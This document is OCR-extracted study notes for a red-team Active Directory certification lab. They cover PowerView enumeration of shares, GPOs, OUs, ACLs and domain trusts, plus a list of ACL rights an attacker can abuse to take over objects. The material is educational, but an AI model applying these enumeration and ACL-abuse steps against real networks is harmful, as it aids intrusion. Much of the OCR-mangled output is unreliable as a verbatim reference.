moneycorp. 1o \IPL$ - Remote IPC
@{shil_netname=shared; shil_typ. shil_remark=; ComputerName=dcorp-stdl78.dollarcorp.moneycorp.local}
oca'\ \shar ed =
o11arcorp.moneycorp.local (5 of 19)
M5 shil_type= 14‘48;‘648; shil_remark=Remote Admin; ComputerName=dcorp-appsrv.dollarcorp. moneycorp.locall
. Remote Admin
@{shil_netnam ; sml +type=2147483648; shil_remark=Default share; ComputerName=dcorp-appsrv.dollarcorp.moneycorp.local}
moneycorp. local - Default shar

oneycorp, DX

; shil_remark=; ComputerName=dcorp-std183.dollarcorp.moneycorp. locall

Invoke-ShareFinder -Verbose -ExcludeStandard -ExcludePrint -ExcludeIPC

\Tools> Invoke-ShareFinder
[”] Running Invoke-shareFinder with delay of 0
[*] Querying domain dollarcorp.moneycorp.local for hosts
Get-Domainsearcher search strir LDAI dc. d(ﬂhrcoup moneyco| a ollarcorp,DC=moneycorp,DC=local
Get-NetComputer filter (&(sAMAccc:untTyp 8053063 (dnshos tname:
[*] Total number of hosts: 2
waiting for threads to finish...
A1l threads completed!
[*] Total number of active hosts: 19
[*] Enumerating server dcorp-stdi88.dollarcorp.moneycorp.local (1 of 19)
* rver share: @f MINS; shil_type=214748364. shil_remark=Remote Admin; ComputerName=dcorp-stdl88.dollarcorp.moneycorp. |
erver share “netname=C$; shil type-21 k=Default share; ComputerName—dcorp-std188.dollarcor loc
rver share lsh11 netname: IPLS _typ 651; shi. l,remal‘k Remote IPC; ComputerName=dcorp-stdl dollarcorp.moneycorp. locall
rver share- i1 ; shil_remark=; ComputerName=dcorp-std188.dollarcorp.moneycorp.localt
dollarcorp. moneycorp local\shared -
Enumerating server dcor —stdl 6.dollarcorp.moneyco ocal (2 of 19)
{shil_netname ADMINS shil_t 214 64 shil_remark=Remote Admin; ComputerName: d176.dollarcorp. moneycorp. |
p 48 shil_remark=pefault share; ComputerName-dcorp-std176.dollarcorp.moneycorp. loc
shil - type=21. 83 sh11 remark=Remote IPC; LomputerName dcorp-stdl76.dollarcorp. moneycorp. locall
@ shil_type: ComputerName=dcorp-std176.dolTlarcorp.moneycorp. Tocal}
6.dollarcorp. moneycor -

Enumerating server dcor d182. . rp.local (3 of 19)
erver share: 214 64 shil_remark=Remote Admin; ComputerName=dcorp-stdl82.dollarcorp.moneycorp. |

rver share: efault share; ComputerName=dcorp-std182.dollarcorp.moneycorp.locq
erver share YP 483651; shil_remark—Remote IPC; ComputerName=dcorp-stdl82.dollarcorp.meneycorp. locall
rver share i1 ; shil_remark=; ComputerName=dcorp-std182.dollarcorp.moneycorp.local}
\shal‘ed
p-adminsrv.d al (4 of 19)
erver share l,type 214 shil_remark=Remote Admin; ComputerName=dcorp-adminsrv.dollarcorp.moneycory
rver share sthnemame c§; shi1® “type=214 4 8; shil_remark=pefault share; ComputerName=dcorp-adminsrv.dollarcorp.moneycorp. 1
server share: @{shil_netname=IPCS; shil_type: ; shil_remark=Remote IPC; ComputerName=dcorp-adminsrv.dollarcorp.moneycorp. lod
Enumerating server dcorp-dc.dollarcorp. m(:neyc(xrp Tocal (5 of 19)
erver share {shil_netname ADMINS - 2 shil_remark=Remote Admin; ComputerName=dcorp-dc.dollarcorp.meneycorp.locall
rver shar p 1 8 shwl,remark efault share; ComputerName=dcor c.dollarcorp.moneycorp. Tocal}
rver share 1; shil_remark=Remote IPC; ComputerName=dcorp-dc.dollarcorp.moneycorp.locall
bl =Logon server share ; ComputerName=dcorp-dc.dollarcorp.moneycorp.local
share
shil_type=! shil_remark=Logon server share ; ComputerNam icorp-dc.dollarcorp.moneycorp.local}
5 oL * Logon server share
Pumerating carar deorpa \1larcorp. moneycorp_locil (6 of 19)
rver shar {shil_i netname H e=214 64 shil_remark=Remote Admin; ComputerName=dcorp-stdl8l.dollarcorp.moneycorp. |
~ share {shil_netname i shil_remark=Default share; ComputerName=dcorp-stdl81.dollarcor - Tocs
share {shil_netname: H il_typ 483651; shil_remark=Remote IPC; ComputerName=dcorp- std181.dellarcor .moneycorp. locall
- share: @{shil_netname - 1 shil_remark=; ComputerName=dcorp-std181.dollarcorp.moneycorp. local}

1. dollarcorp.moneycorp. local\shared

CRTP-Notes-Meshari-Almalki
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Invoke-FileFinder -Verbose -> Find Files sensitive on computer in the Domain

Get-NetFileServer -Verbose -> Get All fileservers on Domain

Get-NetFileServer -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://DC=dollarcorp,DC=moneycorp,DC=1local

¥ Group Policy ( GPO )

Group Policy - Provides the ability to manage configuration and changes easily and cetrally
in AD

Allows Configuration of :

1. Security settings

2. Registrty-based policy

3. GPO preferences like startup/shutdown/log-on/logoff - script setting

4. Software installation

Get-NetGPO -> Get GPO

usncreated
systemflags
displayname

gpcmachineextensionnames :
EA-00CO4F79F83A} {803E14A0-

4F17}]

whenchanged
objectclass
gpcfunctionalityversion
showinadvancedviewonly
usnchanged
dscorepropagationdata
name

adspath

local

flags

cn
iscriticalsystemobject
gpcfilesyspath
4FB984F9}
distinguishedname
whencreated
versionnumber
instancetype
objectguid
objectcategory

1 8016

-1946157056

: Default Domain Policy -> Name OF GPO

[{35378EAC-683F-11D2-A89A-00CO4FBBCFA2} {53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4

B4FB-11D0-A0D0-00A0C90F574B} ] [{B1BE8D72-6EAC-11D2-A4EA-00CO4F79F83A}{53D6AB1B-2488-11D1-A28C-00CO4FB9

1 2/17/2019 7:14:30 AM

{top, container, groupPolicyContainer}

52
: True
: 13009

{5/3/2020 9:04:05 AM, 2/21/2019 12:17:00 PM, 2/19/2019 1:04:02 PM, 2/19/2019 12:55:49 PM...}
{31B2F340-016D-11D2-945F-00C04FB984F9} -> ObjectID
LDAP://CN={31B2F340-016D-11D2-945F -00C04FB984F9}, CN=Policies, CN=System, DC=dollarcorp, DC=moneycorp, DC=

10

{31B2F340-016D-11D2-945F-00C04FB984F9}

: True
: \\dollarcorp.moneycorp.local\sysvol\dollarcorp.moneycorp.local\Policies\{31B2F340-016D-11D2-945F-00C0O

: CN={31B2F340-016D-11D2-945F-00C04FB984F9}, CN=Policies, CN=System, DC=dollarcorp, DC=moneycorp, DC=1ocal
1 2/17/2019 7:00:13 AM

: 3

H

: cd0c7024-e03a-4369-958b-9c93fbd25649

: CN=Group-Policy-Container,CN=Schema, CN=Configuration, DC=moneycorp,DC=1local

Get-NetGPO | select displayname -> Get Just a names of GPO

displayname

Default Domain Policy # This by default GPO
Default Domain Controllers Policy # This by default GPO

Applocker # This Custom GPO
Servers  # This Custom GPO
Students # This Custom GPO

# hostname
-> dcorp-std181

# Get-NetGPO -ComputerName dcorp-stdi81.dollarcorp.moneycorp.local

CRTP-Notes-Meshari-Almalki
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usncreated
displayname

gpcmachineextensionnames :

EA-0OCO4F79F83A} {803E14A0

whenchanged
objectclass
gpcfunctionalityversion
showinadvancedviewonly
usnchanged
dscorepropagationdata
name

adspath

local

flags

cn

gpcfilesyspath
158DC97C}
distinguishedname
whencreated
versionnumber
instancetype
objectguid
objectcategory
ComputerName

: 65831
: Students -> GPO

[{35378EAC-683F-11D2-A89A-00CO4FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4

B4FB-11D0-A0D0-00A0C90F574B} ]

1 4/20/2019 6:22:16 AM

: {top, container, groupPolicyContainer}

52

1 True

: 123144

: {5/3/2020 9:04:05 AM, 2/21/2019 12:17:00 PM, 2/19/2019 1:04:02 PM, 2/19/2019 12:55:49 PM...}

: {3E04167E-C2B6-4A9A-8FB7-C811158DC97C}

: LDAP://CN={3E04167E-C2B6-4A9A-8FB7-C811158DC97C}, CN=Policies, CN=System,DC=dollarcorp, DC=moneycorp, DC=

10
: {3E04167E-C2B6-4A9A-8FB7-C811158DC97C}
: \\dollarcorp.moneycorp.local\SysVol\dollarcorp.moneycorp.local\Policies\{3EQ4167E-C2B6-4A9A-8FB7-C811

: CN={3E04167E-C2B6-4A9A-8FB7-C811158DC97C}, CN=Policies, CN=System,DC=dollarcorp, DC=moneycorp, DC=1local
1 2/19/2019 7:04:25 AM

: 8

H

: 8ecdfe44-b617-4b9e-a9f9-4d548e5dc7bl

: CN=Group-Policy-Container, CN=Schema, CN=Configuration, DC=moneycorp, DC=local

: dcorp-stdi8i.dollarcorp.moneycorp.local

Get-NetGPOGroup -> For Restricted Group in domian .

Get users which are in local group of a machine using GPO

Find-GPOComputerAdmin -ComputerName <ComputerName> -> This Could be usefull in Realworld

Get Machines where the given user in member of a specific group

Find-GPOLocation -UserName <userName> -Verbose

Everything in AD is an Object.

OUs = Container for these object.

is a container within a Microsoft Active Directory domain which can hold users, groups and

computers.

It is the smallest unit to which an administrator can assign Group Policy settings or

account permissions.

An organizational unit can have multiple OUs within it, but all attributes within the
containing OU must be unique.

Active Directory organizational

units cannot contain objects from other domains.

Get-NetOU -FullbData -> Get All informations of OUs in a Domain

Get-NetOu -FullData

usncreated

CRTP-Notes-Meshari-Almalki
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systemflags
iscriticalsystemobject
gplink

whenchanged
objectclass

usnchanged
dscorepropagationdata
name

adspath
description
distinguishedname
ou

whencreated
instancetype
objectguid
objectcategory

Get-Netou

-1946157056

: True

[LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9}, CN=Policies, CN=System, DC=dollarcorp, DC=moneycorp, DC=1oc

1 2/17/2019 7:00:13 AM

: {top, organizationalunit}
showinadvancedviewonly :
© 8147

1 {7/2/2021 1:08:59 PM, 5/3/2020 9:04:05 AM, 5/3/2020 9:04:05 AM, 5/3/2020 9:04:05 AM...}
: Domain Controllers

False

LDAP://0U=Domain Controllers,DC=dollarcorp, DC=moneycorp, DC=1local

: Default container for domain controllers

: OU=Domain Controllers,DC=dollarcorp,DC=moneycorp,DC=1local

: Domain Controllers

1 2/17/2019 7:00:13 AM

4

: 051cbh518-0bf2-47e4-a3a4-ec36edf5e662

: CN=Organizational-uUnit,CN=Schema, CN=Configuration, DC=moneycorp,DC=1local

LDAP://0U=Domain Controllers,DC=dollarcorp,DC=moneycorp,DC=1local
LDAP://0U=Applocked, DC=dollarcorp, DC=moneycorp, DC=1local
LDAP://0U=Servers, DC=dollarcorp, DC=moneycorp,DC=1ocal
LDAP://0U=StudentMachines, DC=dollarcorp, DC=moneycorp,DC=1local

This are all OUs On Domain -> moneycorp.local

Get-NETGPO -GPOname "{gplink}" -> This get applied on an OU,

Get-NetGPO -GPOname "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}" -> This for OU=StudentMachines

usncreated
displayname

gpcmachineextensionnames

whenchanged
objectclass
gpcfunctionalityversion
showinadvancedviewonly
usnchanged
dscorepropagationdata
name

adspath

flags

cn

gpcfilesyspath
distinguishedname
whencreated
versionnumber
instancetype
objectguid
objectcategory

1. Access Token

: 65831

: Students -> GPO name
[{35378EAC-683F-11D2-A89A-00CO4FBBCFA2}{DO2B1F72-3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA
B4FB-11D0-A0D0-00A0C90F574B} ]

1 4/20/2019 6:22:16 AM
{top, container, groupPolicyContainer}

52

: True

: 123144
{5/3/2020 9:04:05 AM, 2/21/2019 12:17:00 PM, 2/19/2019 1:04:02 PM, 2/19/2019 12:55:49 PM...}
{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}
LDAP://CN={3E04167E-C2B6-4A9A-8FB7-C811158DC97C}, CN=Policies, CN=System, DC=dollarcorp, DC=moneycorp, DC=10

0
{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}

: \\dollarcorp.moneycorp. local\SysVol\dollarcorp.moneycorp.local\Policies\{3E04167E-C2B6-4A9A-8FB7-C81115

: CN={3E04167E-C2B6-4A9A-8FB7-C811158DC97C}, CN=Policies, CN=System, DC=dollarcorp, DC=moneycorp,DC=1local

1 2/19/2019 7:04:25 AM

: 8

4

: 8ecdfe44-b617-4b9e-a9f9-4d548e5dc7bl

: CN=Group-Policy-Container, CN=Schema, CN=Configuration, DC=moneycorp, DC=1local

¥ Access Control List Model ( ACL )

a. Security Context of a process

b. Identitiy and privs of user

2. Security Descriptors

a. SID of the Owner

b. Discretionary ACL ( DACL )

- Defines the permissions trustees ( users , groups ) have

on an object

CRTP-Notes-Meshari-Almalki
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e am 0| XE

B Hm 3xaYai

[ Active Directory Users and Com)
> [ Saved Queries

&1 Domain Controllers
] ForeignSecurityPrincipali

(] LostAndFound
() Managed Service Accour
~1 Program Data
(5] Servers
3] StudentMachines
> [ System
1 Users
> [ NTDS Quotas
> [ TPM Devices

1. System ACL ( SACL )

accessed

Name Type Description
& Administrator User Built-in account for ad..
R Allowed RODC Password Replication Group  Security Group... Members in this group c...
2 opp edmin
e Advanced Security Settings for Domain Admins o x
d, ci admin
B Clonesble Domain Controller
, DefautAccount Owner: Dormain Admins (deorp\Domain Admins) Change
& Denied RODC Password Repli |> = o e
R Drccmins ermissions iting fective Access
R OrsupdateProry For additional information, double-click 2 To modify a p v cick Edit (i available).
& Domain Admins DACL List
£ Domain Computers Permission entries: IS
2, Domain Controllers Type  Principal Access Inherited from Applies to “
:59"""'" Guests 82 Allow  Cert Publishers (dcorp\Cert P.. None This object only
55‘)"’""“ Users S2 Allow  Windows Authorization Acce... MNone This object only
B Group Policy Creator Owners | | [ g A, Terminal Server License Serve.. None This object only
- p Guest 82 Allow  Terminal Server License Serve... None This object only
B, Key Admins S2 Alow  Everyone Special None This object only
skbtgt S8 Alow  SELF el None This object only
& mgmt admin 82 Alow  SELF Special None This object and all descendan...
B Protected Users 82 Allow  Enterprise Admins (mcorp\E... Special None This object only
?"AS jandIAS SSwvess, 82 Allow  Domain Admins (dcorp\Do..  Special MNone This object only
& ROP Users S Allow  Pre-Windows 2000 Compatib... Special None This object only v
2, Read-only Domain Controller}
sql admin Add Remove View Restore defaults
sqi1 admin
srv admin [Enable inheritance
 svc admin
s o] [ ome | (060
test user

- Logs success and fail

Advanced Security Settings for Domain Admins

Owner.

| Permissions Effective Access

Domain Admins (dcorp\Domain Admins) Change

ure

audit message when al

n object is

For additional information, double-click an audit entry. To modify an audit entry, select the entry and click Edit (if available).

Auditing entries:

Principal Access Inherited from Applies to
Everyone None s object only
Everyone DC=dollarcorp,DC=m... Descendant Organiz
Everyone DC=dollarcorp,DC=m...  Descendant Organig
< >
Add Remove Edit Restore defaults
Disable inheritance

Lok |

Cancel | Apply
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To better understand the model, let’s take an example of a user in the Sales

department who wants access to a financial share called Budgeting 2022.

The user would initiate a request to the Budgeting 2022 object presenting their
Access Token that shows their identity and privileges, i.e., John from the Sales
Department.

Then, the targeted object — Budgeting 2020 validates the user access token
against the object list of permissions (DACL). If the list allows the sales
department members to access the Budgeting 2022 object, the user will grant
the access, and if not, the request would get rejected, and in both cases, the

granting or rejecting of the request would be logged by the SACL.

note\ Every object have Security Descriptors

Security
Descriptor

Active
Directory

DACL & SACL - Have ( Access Control Entries ) [ ACE ]

ACE - individual permission or audits access. Who has a permission and what can be done
on an object ?

DACL & SACL - Very Important for attacker , DACL Look more cool and
usefull , sacL 1ogs any changes you made to any objects

CRTP-Notes-Meshari-Almalki
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B DACL Structure

The access control list consists of multiple individual permissions known as ACEs
— Access Control Entries. Each entry has a permission type (allow or deny), a
principal account (who is this permission for — user, group, computer), what
objects the principal account can access, and the access rights [read, write, Full
Control].

I Active Directory Users and Com| | hame - Descriphon
. :: Oovin oy || Db Adminisrator User Budt-in account for ad
v E ;:D: ::""‘D"' 8| B Allowed RODC Password Rephcstion Group Securty Group... Member: in this group c...
- pho<]
»dmin
Busttin %:‘:‘ Publshe Advanced Security Sellings fer Domain Amins D x
Computers
31 Damain Controliers Ig? — I
- toneabie Domain Contrcller|
E::‘“"s““"’” | & osennccount Owner Domain Ademins (dcorp\Domain Admins) Change
LostAndFound B8, Denied RODC Password Repli{
P A factne
Managed Sernce Accour %D"‘M""m - ] L oons
:-""‘»""“ Data :B'“U"""F"" For additonal iformation double- chck a permission entry. To modsfy 8 permissian entry, sebect the entry and click Edn (# avadable).
2 Servers Doman Admins
&) ShadertMaching I Dommain Computars Permission entries <::| DACL List
L —3 B Doman Contraliens Trpe  Prncigal Access Inhented from Apphes to D)
N”"m's - B8 Doman Guests BL Aliow  Cert Publishers (dcorp)Cent B Hane This objectonly ¢ ACE
™ "
TPM Devices B8 Doma : P 8L Allow  Windows Authorization Acce. None This ckjectonly oy ACE
B Group Pobicy Crestor Ownes | | | 0p o, Termminal Server License Semve Mone This object anly
8o Guet B8 Aliow  Tesminal Serves License Serve. Hone This cbject anly
ey Acmies BL Mliow Everyone Special Hone Thia object anly
i‘ gk B Alow SELF By Seecl Mane This object anly
e — B wiow SELF Specl Hane This cbsect and il descenden
E::"“‘“AU“" 8L Miow  Erterprise Admims (meorplE..  Special None This cbject only
an: S — AL Alow  Doman Admins (dcorpiDo_.  Specil Mane This cbyect anly
ERRDP Usen SR Atiow  Pre-Windews 2000 Compatib... Special Mone This ebyect anly v
R, Read-only Domain Controer)
&, sl admin Add Femave e Restore defauts
& sqi sdmin
& srv admin Enable mheritance:
& s admin
g:wﬂ- Co ]| camn Aply
st uses — .

Figure 2 — shows the Access Control Entries (ACE) in a DACL list

Get the ACLs associated with the specified object :

Get-ObjectACL -SamAccountName <userName> -ResolveGUIDS
# The GUID resolver parameter gets the group ID of the requested object.

Get-ObjectACL -SamAccountName student181 -ResolveGUIDS

InheritedObjectType
ObjectDN

ObjectType
IdentityReference
IsInherited

ActiveDirectoryRights :
: None

: ObjectAceTypePresent

: None

: None

: Deny

: S-1-5-21-1874506631-3219952063-538504511-49160

PropagationFlags
ObjectFlags
InheritanceFlags
InheritanceType
AccessControlType
ObjectSID

InheritedObjectType
ObjectDN

ObjectType
IdentityReference
IsInherited
ActiveDirectoryRights
PropagationFlags
ObjectFlags
InheritanceFlags
InheritanceType

CRTP-Notes-Meshari-Almalki

i All -> Permission

: CN=student190,CN=Users,DC=dollarcorp, DC=moneycorp, DC=1local
: User-Change-Password

: Everyone -> Which User has premission

: False

ExtendedRight -> Action biai oSeo Ul sluwd

: ALl

: CN=student190,CN=Users,DC=dollarcorp,DC=moneycorp, DC=local
: ALl

: BUILTIN\Administrators

1 True

: CreateChild, Self, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl, WriteOwner
: None

: None

: ContainerInherit
1ALl
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AccessControlType : Allow
ObjectSID : S-1-5-21-1874506631-3219952063-538504511-49160

E¥ Windows PowerShell

Each Block of information are : ACE

ers ,DC=dollarcorp,DC=moneycorp,DC=local
219952063-538504511-49151
CreateChil elT, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl,
2 Al
b j = 00000000-0000-0000-0000-000000000000
[nherit = 00000000-0000-0000-0000-000000000000

thiectElans - _Nane

WriteOwner

hccessControlType : Allow
[dentityReference : BUILTIN\Administrators
[sInherited : True

LnheritanceF lags : ContainerInherit
bropagationFlags : None

There are 4 interesting properties to check in the results:

« ObjectDN (Object Distinguished Name) is the object name — studenti181

IdentityReference is who has access to the object. As seen above, the built-in
administrators’ group has access to the student181 object.

ActiveDirectoryRights are the types of permissions given to the object. In our
example, the built-in administrators’ group has on the
student181 object.

AccessControlType is an Allow access.

The permission indicates the object’s ownership which means that the built-
in administrators have full control on the Student181 object. The is right
to modify the objects DACL’s list.

There are other interesting permissions to look for when enumerating Active Directory
rights like in the below list:
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- full rights to the object (add users to a group or reset user

- update object

nge object owner to attacker controlled user take over the object
- modify object
- ability to add user to a g reset password

- ability to change user

(Self-Membership) - ability to add yourself to a group

To filter through a specific type of permission, use the equal (-eq) operator and
pass it the permission type such as “GenericAll.”

Get-ObjectAcl student181 | Where-Object ActiveDirectoryRights -eq "GenericAll"

\AD\Tools> Get-ObjectAc] studentl8l | where-Object ActiveDirectoryRights

ActiveDirectoryRights
InherwtanceType
ObjectTy
InherwtedﬂbjectType
ObjectF1
AccessControlType
IdentityReference
IsInherited
Inheritancerlags
PropagationFlags

A(t1”eD1|e(toryR1qhts
InheritanceType
objectType
Inhel1tedﬂbjectType

TdentityReference
IsInherited
InheritanceFlags
PropagationFlags

seDirectoryRights
InheritanceType
objectType
TnheritedobjectType
Objectr1
AccessControlType
IdentityReference
IsInherited
TnheritanceF lags
PropagationFlags

ActiveDirectoryRights
InheritanceType
ObjectType
InheritedobjectType
ObjectFlags
AccessControlType
IdentityReference
IsInherited
InheritanceFlags
PropagationFlags

Get-ObjectAcl student181

student181,C sers, dollarcorp,DC=moneycorp,DC=]oca
-1-5-21-1874506631-3219952063-538504511-49151
GenericAll

: None

= 00000000-0000-0000-0000-000000000000
: 00000000-0000-0000-0000-000000000000
: None

: Allow

: NT AUTHORT

: False

: None

: None

student181,C r ,DC=moneycorp ,DC=loca
52063- 5;5504511 49151
GenericAll

: None
: 00000000-0000-0000-0000-000000000000

00000000-0000-0000-0000-000000000000
None

Allow

5-1-5-32-548

False

: None
: None

: CN=studentl81,CN=Users,DC=dollarcorp,DC=moneycorp ,DC=Tocal
5-21-18

-3219952063-538504511-49151

: None

= 00000000-0000-0000-0000-000000000000
= 00000000-0000-0000-0000-000000000000
: None

: Allow

: dcorp\Domain Admins

False
None

: None

er dollarco DC=moneycorp,DC=Toca
J21QQS200J 538504511-49151
GenericAl |

T AL

= 00000000-0000-0000-0000-000000000000
: 00000000-0000-0000-0000-000000000000
: None

Allow
~1-5-21-28053 70234-7
True

: ContainerInherit
: None

\AD\Tools> Get-ObjectAcl studentl8l | select IdentityReference, ActiveDirectoryRights | Where-Object ActiveDirectoryRights

STEM

\S
2-548
\Domain Admins
1-28053 8

shows the groups who have the GenericAll (full control) permissions on the Student181

object

hts
GenericAll
GenericAll
GenericAll
GenericAll

Get the ACLs associated with the specified prefix to be used for search

CRTP-Notes-Meshari-Almalki

select IdentityReference, ActiveDirectoryRights | Where-Object ActiveDirectoryRights -eq "Generi
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Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose

Run the Get-ObjectACL command with the ADSPrefix parameter to search for specific
controls using common names [CN], organizational units[OU], or domain controllers [DC]
in the example below, I searched for the access entries associated with the student
machines Organizational Unit

Get-ObjectAcl -ADSprefix 'OU=Studentmachines' -Verbose

EX Windows PowerShell - ] x

You can get the AdPaths of objects by running these commands:

AD\Tools> Get-NetComputer | select cn adspath

adspath

DCORP-DC ICORP-DC ,0U=Domain Controllers,DC=dollarcorp,DC=moneycorp D!

DCORP-MGMT ICORP-MGMT ,0U=Servers ,DC=do]1larcorp,DC= =moneycor z

DCORP-CI C CI, rs ,DC dc]]arccrp,D'

Ql =dollarcor
DCORP-ADMT f C ou=Applocked, DC=do11
C / vers ,DC=dollarcorp,DC= oneycorp
ollarcorp,DC=moneycorp

tudentMachines ,DC doT]atcotp.
tudentMachines ,DC=dollarco
tudentMachines ,DC=dollarco
tudentMachines.DC:doT]arco
tudentMachines ,DC=dollarco
tudentMachines ,DC=dollarco
tudentMachines ,DC
tudentMachines ,DC
tudentMachines ,DC
tudentMachines ,DC
tudentMachines,DC
tudentMachines ,DC
tudentMachines ,DC
tudentMachines ,DC
tudentMachines, DL

Get ACLs Associated with UNC path
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We can search for access controls of network shares like SYSVOL share for enumerating
group policy objects and scripts using its UNC path.

UNC - The Universal Naming Convention is the naming system used in Microsoft Windows for
accessing shared network folders and printers on a local area network.

Syntax Of UNC - \\host-name\ \file_path

Get-PathAcl -Path "\\dcorp-dc.dollarcorp.moneycorp.local\sysvol"

PS C:\AD\Tools

Path
FilesystemRights
TdentityReference
TdentitySID
AccessControlType

Path
FileSystemRights
TdentityReference
TdentitySID

AccessControlType :

Path
FileSystemRights
TdentityReference
IdentitysSID
AccessControlType

Path
FileSystemRights
TdentityReference
IdentitysSID

AccessControlType :

Path
FileSystemRights
TdentityReference
TdentitySID
AccessControlType

Path
FilesystemRights
TdentityReference
TdentitySID

AccessControlType :

Path
FileSystemRights
TdentityReference
TdentitySID
AccessControlType

Path
FileSystemRights
TdentityReference
TdentitySID
lAccessControlType

Path
FileSystemRights
TdentityReference
TdentitySID

lAccessControlType :

Get-PathAc]

\\dcorp-dc.dollarcorp.moneycorp. local\sysvol

wr

Cr

eator

teowner ,WriteDAC,GenericwWrite,GenericExecute,GenericRead
owner

B

Allow

corp-dc.dollarcorp.moneycorp. local\sysvol

GenericExecute,GenericRead

Authenticated Users

Allow

\\dcorp-dc.dollarcorp.moneycorp. local\sysvol
Read
ithenticated Users
11

corp-dc.dollarcorp.moneycorp. local\sysvol

GenericAll

s-1-5-
Allow

corp-dc.dollarcorp.moneycorp. local\sysvol

Allow

corp-dc.dollarcorp.moneycorp. local\sysvol
teowner ,WriteDAC,GenericWrite,GenericExecute,GenericRead

BUILTIN\Administrators
5-1-5-32-544
Allow

corp-dc.dollarcorp.moneycorp. local\sysvol

Read

BUILTIN

dministrators

-1-5-32-544
Allow

\\dcorp-dc.doellarcorp.moneycorp. local\sysvol
GenericExecute,GenericRead
BUILTIN\Server Operators
-1-5-32-549
Allow

Read
BUILTIN

corp-dc.dollarcorp.moneycorp. local\sysvol

erver Operators

-1-5-32-549
Allow

Get The ACLs associated with specified LDAP path :

Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins, CN=Users, DC=dollarcorp, DC=monycorp, DC=local" -ResolveGUIDS -Verbose

InheritedObjectType ALl

ObjectDN : CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType ALl

IdentityReference : NT AUTHORITY\Authenticated Users

IsInherited : False

ActiveDirectoryRights : GenericRead

PropagationFlags : None

ObjectFlags : None

InheritanceFlags : None

InheritanceType : None

AccessControlType : Allow

ObjectSID : $-1-5-21-1874506631-3219952063-538504511-512 -> -ResolveGUIDS

Search For Interesting ACEs :
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Invoke-ACLScanner -ResolveGUIDS

InheritedObjectType : ALl

ObjectDN : CN=Supporti79User -> User ,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType i ALl

IdentityReference : dcorp\RDPUsers -> Group RDPUsers

IsInherited : False

ActiveDirectoryRights : GenericAll -> Full Permission
PropagationFlags : None

ObjectFlags : None

InheritanceFlags : None

InheritanceType : None

AccessControlType : Allow

ObjectSID : S-1-5-21-1874506631-3219952063-538504511-49134
IdentitySID : S-1-5-21-1874506631-3219952063-538504511-1116

Check Lab3 for Invoke-ACLScanner.

¥ Trusts

Trust - relationship between two domains or forests which allowes users of one domain or
forest to access resources in the other domain or forest.
Each Trust can Represent as - Trusted Domain object ( TDO )

TDO - Each domain within a forest is represented by a TDO that is stored in the System
container within its domain.

When a domain trust is created, attributes such as the DNS domain
name, domain SID, trust type, trust transitivity, and the reciprocal
domain name are represented in the TDO.

When a forest trust is first established, each forest collects all of the
trusted namespaces in its partner forest and then stores the
information ina TDO. The trusted namespaces and attributes that are
stored in the TDO include domain tree names, child domain names,
user principal name (UPN) suffixes, service principal name (SPN)
suffixes, and security ID (S1D) namespaces used in the other forest.
TDO objects are stored in each domain, then replicated to the global
catalog.

Active Directory follows a clear hierarchy, from top to bottom. In that hierarchy are:
forests, trees, and domains.

1. Forest - represent the complete Active Directory instance, and are logical containers
made up of

a. Domain Trees
b. Domains
c. Organizational Units
2. Trees - collections of domains within the same ons namespace ; these include child domains .

3. Domains - logical grouping of network objects such as computers, users, applications,
and devices on the network such as printers.

Active Directory Trust:
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In simplest terms, it is the process of extending the security boundary of an AD domain or
forest to include another AD domain or forest.

Trust Direction:

1. One-way trust ( Unidirectional ) - Users in the trusted domain can access resources in
the trusting domain but the reverse is not true. ( i trust you, but you don’t trust me

)
siao puSall o8I, Osedl QI Gregall o 02)lsel Jsosll ardo ans SLull presall L .

2- Two-Way ( bidirectional ) - Users of Both domains can access resource in other domain.

One-Way

Resources/Accounts Resources/Accounts

- Domain 2
Domain 1

Domain 2 has a one-way trust to Domain 1. That means all resources within Domain 1 are
permitted to access the resources of Domain 2 but not vice versa (domain 2 cannot access
domain 1)

Trust Transitivity :

Transitive Trust:

« Can be extended to esatblish trust relationship with other domains.

CRTP-Notes-Meshari-Almalki
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« All the default intra-forest trust relationships (Tree-root, Parent-Child) between
domains within a same forest are transitive two-way trusts

what is the intra-forest and inter-forest?
o Intra-Forest Migration: migration between domains of the same Forest.

o Inter-Forest Migration: migration between domains of different Forests.

Forest Trust Forest 2

Tree Root 2

[Tree Root 1§ Tree-Root Trus! iIreeiRoot2

A

Parent Domain 1

Parent Domain 1

Y
(Child Domain 1 Child Domain 2| Chiid Domain 1

Child Domain 3 Child Domain 2

Child Domain 1

Child Domain 3 Child Domain 2

Transitive Trusts - Two-Way Transitive Trusts - Two-Way

we see that “Forest 1” has a transitive 2-way direction to “Forest2”
,which means that all domains within “Forest 1” are accessible to “Forest 2” and the other
way around. The same applies inside the forests, on the tree-root and parent-child levels.

Non-Transitive Trust:
« Cannot be extended to other domains in the forest. Can be two-way or one-way.

« This is the default trust (called external trust) between two domains in different
forests when forests do not have a trust relationship. - wlilize cuwyged 9 wluogadl Hu s

The diagram below shows one-way external trust between “Domain 2"

in “Forest 2" and “Forest 1” The arrowhead indicates the access direction. In this

case, Forest 1 users have access to Domain 2 in Forest 2 only. Domain 2 in Forest 2 has NO
access to Forest 1.
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o]

External One-Way Trust

2 b, prosall ki JolS JSiy cwssidl go so addadl Lin

Trusts can be created using the New Trust Wizard found in the Active
Directory Domains and Trusts console, or using the Netdom command line
utility

Relationship Trust:

1. Parent/Child Trust

2. Tree/Root Trust

3. Shotcut Trust
4. Forest Trust
5. Realm Trust
6. External Trust

Crtp-Report-Exam

Trusts Type (1)

Aa Trust = = = = Not
Type Characteristics Direction AuthenticationMechanism = NOL€S
Parent- s Created automatically when a child
_ Transitive Two-way Kerberos V5 or NTLM . .
Child domain is added.
Tree- - Created automatically when a new Tree
